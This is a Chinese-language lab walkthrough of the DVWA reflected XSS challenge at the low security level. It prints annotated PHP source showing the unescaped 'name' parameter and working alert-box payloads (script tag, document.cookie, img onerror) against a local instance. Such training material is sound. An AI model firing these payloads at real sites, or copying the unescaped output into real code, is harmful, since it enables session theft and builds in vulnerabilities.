目录
DVWA(Damn Vulnerable Web Application)中的 反射型XSS关卡(Reflected)是用于练习和演示反射型XSS的不同场景,不同安全等级存在不同的脆弱点和绕过方法,本小节对低等级别的关卡进行渗透实战。
一、XSS
XSS(Cross-Site Scripting) 指的是攻击者通过在网页中注入恶意脚本,当用户访问该页面时,脚本会在用户浏览器中执行,从而窃取用户数据、会话信息或进行其他恶意操作。核心原理就是未对用户输入或输出进行适当过滤,导致恶意代码被浏览器解析执行。
XSS类型 |
位置 |
数据流向 |
反射型 XSS |
服务器端 |
用户输入 → 服务器 → 响应中包含恶意代码 |
存储型 XSS |
服务器端 |
用户输入 → 存储(数据库) → 所有用户访问时触发 |
DOM 型 XSS |
客户端 JavaScript 代码 |
用户输入 → 浏览器 DOM 操作 → 执行恶意代码 |
二、反射型XSS
反射型XSS(Reflected Cross-Site Scripting)是一种常见的Web安全攻击,攻击者将恶意脚本注入URL参数中,当用户点击包含该参数的链接时,服务器将恶意代码反射到响应页面并执行。
三、代码分析
1、index.php
进入DVWA靶场源目录,找到index.php源码。
这段代码是DVWA靶场中反射型XSS攻击的演示页面,主要功能如下所示。
初始化设置
定义系统路径常量,加载必要文件,启动DVWA环境(含用户认证和安全检测)。
安全等级控制
根据用户Cookie中的
security
值(low/medium/high/impossible)动态加载不同防御级别的代码文件(low.php
/medium.php
/high.php
/impossible.php
)。
反射型XSS测试界面
生成一个表单,用户输入
name
参数并提交,服务端将输入反射到页面中(具体逻辑在引入的不同级别文件中实现)。在最高防御等级(impossible)时添加CSRF令牌。
动态内容渲染
变量
$html
由引入的不同文件生成,用于演示不同安全等级下的反射型XSS攻击效果。
详细注释后的代码如下所示。
<?php
// 定义DVWA根目录路径常量
define('DVWA_WEB_PAGE_TO_ROOT', '../../');
// 引入DVWA核心页面初始化文件
require_once DVWA_WEB_PAGE_TO_ROOT . 'dvwa/includes/dvwaPage.inc.php';
// 启动DVWA页面,要求用户已认证并启用PHPIDS(安全检测)
dvwaPageStartup(array('authenticated', 'phpids'));
// 创建新页面对象
$page = dvwaPageNewGrab();
// 设置页面标题
$page['title'] = 'Vulnerability: Reflected Cross Site Scripting (XSS)' . $page['title_separator'] . $page['title'];
// 设置页面ID(用于标识当前页面)
$page['page_id'] = 'xss_r';
// 设置帮助按钮和查看源码按钮的链接目标
$page['help_button'] = 'xss_r';
$page['source_button'] = 'xss_r';
// 连接数据库
dvwaDatabaseConnect();
// 根据安全等级选择对应的文件
$vulnerabilityFile = '';
switch($_COOKIE['security']) {
case 'low':
$vulnerabilityFile = 'low.php'; // 低安全等级
break;
case 'medium':
$vulnerabilityFile = 'medium.php'; // 中安全等级
break;
case 'high':
$vulnerabilityFile = 'high.php'; // 高安全等级
break;
default:
$vulnerabilityFile = 'impossible.php'; // 最高防御等级
break;
}
// 引入对应安全等级的代码文件
require_once DVWA_WEB_PAGE_TO_ROOT . "vulnerabilities/xss_r/source/{$vulnerabilityFile}";
// 构建页面主体HTML
$page['body'] .= "
<div class=\"body_padded\">
<h1>Vulnerability: Reflected Cross Site Scripting (XSS)</h1>
<div class=\"vulnerable_code_area\">
<form name=\"XSS\" action=\"#\" method=\"GET\">
<p>
What's your name?
<input type=\"text\" name=\"name\">
<input type=\"submit\" value=\"Submit\">
</p>\n";
// 如果是最高防御等级,添加CSRF令牌
if($vulnerabilityFile == 'impossible.php')
$page['body'] .= " " . tokenField();
// 继续构建页面(包含动态生成的HTML内容和参考资料链接)
$page['body'] .= "
</form>
{$html}
</div>
<h2>More Information</h2>
<ul>
<li>" . dvwaExternalLinkUrlGet('https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)') . "</li>
<li>" . dvwaExternalLinkUrlGet('https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet') . "</li>
<li>" . dvwaExternalLinkUrlGet('https://en.wikipedia.org/wiki/Cross-site_scripting') . "</li>
<li>" . dvwaExternalLinkUrlGet('http://www.cgisecurity.com/xss-faq.html') . "</li>
<li>" . dvwaExternalLinkUrlGet('http://www.scriptalert1.com/') . "</li>
</ul>
</div>\n";
// 输出最终生成的HTML页面
dvwaHtmlEcho($page);
?>
2、low.php
打开源码low.php,分析可知这段代码没有对传入的参数name进行过滤,可直接进行注入,如下所示。
代码的主要功能如下所示
- 关闭浏览器XSS防护:通过HTTP头X-XSS-Protection: 0强制禁用浏览器内置的XSS过滤功能(现代浏览器已弃用此机制,改用CSP)。
- 回显用户输入:获取GET参数name的值,直接拼接到HTML中输出,格式为<pre>Hello [用户输入]</pre>。
很明显代码存在反射型XSS诸如的可能性,具体原因如下所示。
- 原因:用户输入的name参数未经过任何过滤或转义,直接插入到HTML中。
- 危险函数:字符串拼接($html .=)直接将用户输入作为HTML解析。
详细注释后的代码如下所示。
<?php
// 禁用浏览器的XSS过滤器(X-XSS-Protection: 0表示关闭防护)
header("X-XSS-Protection: 0");
// 检查GET请求中是否存在"name"参数且值不为NULL
if(array_key_exists("name", $_GET) && $_GET['name'] != NULL) {
// 将用户输入直接拼接到HTML中,返回给前端
$html .= '<pre>Hello ' . $_GET['name'] . '</pre>';
}
?>
四、渗透实战
1、渗透准备
进入DVWA靶场反射型XSS关卡low级别,此时完整URL地址如下所示。
http://127.0.0.1/dvwa/vulnerabilities/xss_r
2、Script注入
尝试注入XSS语句<script>alert('mooyuan')</script>看效果如何,URL如下所示。
http://127.0.0.1/dvwa/vulnerabilities/xss_r/?name=<script>alert('mooyuan')</script>#
如下所示渗透成功,成功弹出mooyuan弹框。
3、获取cookie
注入语句如下所示。
<script>alert(document.cookie)</script>
完整URL如下所示,成功获取cookie并弹框。
http://127.0.0.1/dvwa/vulnerabilities/xss_r/?name=<script>alert(document.cookie)</script>#
4、IMG注入
注入语句如下所示。
<img src=0 onerror=alert(/mooyuan/)>
完整的URL如下所示,成功弹框mooyuan。
http://127.0.0.1/dvwa/vulnerabilities/xss_r/?name=<img+src=0+onerror=alert(/mooyuan/)>#